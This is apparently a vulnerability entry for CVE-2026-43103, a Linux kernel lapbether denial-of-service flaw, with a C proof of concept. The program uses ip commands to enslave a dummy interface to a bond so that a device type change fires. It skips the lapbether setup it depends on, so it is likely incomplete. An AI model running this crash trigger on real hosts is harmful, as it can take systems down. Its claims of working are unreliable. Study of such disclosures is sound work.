CVE-2026-43103 Linux内核lapbether模块拒绝服务漏洞

/* * PoC for CVE-2026-43103 * Trigger: Attempt to change device type while lapbether is active. * Note: This requires the 'lapbether' module to be loaded and configured on the target interface. * gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { printf("[+] CVE-2026-43103 PoC Start\n"); // 1. Setup dummy environment (Requires root) // In a real scenario, 'eth0' would be an interface managed by lapbether system("modprobe dummy"); system("ip link add dev dummy0 type dummy"); system("ip link set dummy0 up"); // 2. Assume lapbether is attached to dummy0 via configuration steps omitted here // (e.g., using lapbeth configuration tools) printf("[*] Assuming lapbether is attached to dummy0...\n"); // 3. Attempt to change device type via bonding // This triggers NETDEV_PRE_TYPE_CHANGE system("modprobe bonding"); system("ip link add bond0 type bond mode 0"); printf("[*] Triggering type change event by enslaving to bond...\n"); // If vulnerable, the kernel may crash or allow the change leading to panic on Tx int ret = system("ip link set dummy0 master bond0"); if (ret == 0) { printf("[+] Command executed. Check dmesg for instability or crash.\n"); } else { printf("[-] Failed to execute command.\n"); } // Cleanup system("ip link set dummy0 nomaster"); system("ip link del bond0"); system("ip link del dummy0"); return 0; }